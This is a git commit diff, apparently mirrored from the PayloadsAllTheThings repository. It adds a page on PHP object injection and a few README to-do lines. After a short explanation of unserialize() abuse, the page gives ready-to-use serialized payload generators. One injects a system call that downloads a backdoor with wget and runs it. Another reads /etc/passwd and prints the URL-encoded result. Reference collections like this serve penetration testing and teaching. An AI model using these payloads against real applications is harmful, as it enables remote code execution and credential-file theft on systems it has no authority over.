mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 10:26:09 +00:00
PHP object injection
This commit is contained in:
parent
bfd50ae2cb
commit
db09e42a57
@ -1,12 +1,31 @@
|
||||
# Title
|
||||
Lorem
|
||||
# PHP Object Injection
|
||||
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
|
||||
|
||||
## Vuln
|
||||
## Exploit
|
||||
|
||||
Reverse Shell
|
||||
```php
|
||||
class PHPObjectInjection
|
||||
{
|
||||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
|
||||
public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
|
||||
}
|
||||
|
||||
echo urlencode(serialize(new PHPObjectInjection));
|
||||
```
|
||||
Code
|
||||
|
||||
Basic detection
|
||||
```php
|
||||
class PHPObjectInjection
|
||||
{
|
||||
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
|
||||
public $inject = "system('cat /etc/passwd');";
|
||||
}
|
||||
|
||||
echo urlencode(serialize(new PHPObjectInjection));
|
||||
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
|
||||
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
|
||||
```
|
||||
|
||||
## Thanks to
|
||||
* Lorem
|
||||
* Ipsum
|
||||
* https://www.owasp.org/index.php/PHP_Object_Injection
|
@ -1,8 +1,6 @@
|
||||
# Payloads All The Things
|
||||
A list of usefull payloads and bypasses for Web Application Security
|
||||
|
||||
TODO:
|
||||
* PHP Serialization
|
||||
Feel free to improve with your payloads (I <3 pull requests) :)
|
||||
|
||||
To improve:
|
||||
* RCE
|
||||
@ -15,5 +13,4 @@ To improve:
|
||||
* XSS
|
||||
* PHP Include
|
||||
* CSV Injection
|
||||
|
||||
# /!\ Work in Progress : 70%
|
||||
* PHP Serialization
|
||||
|
Loading…
Reference in New Issue
Block a user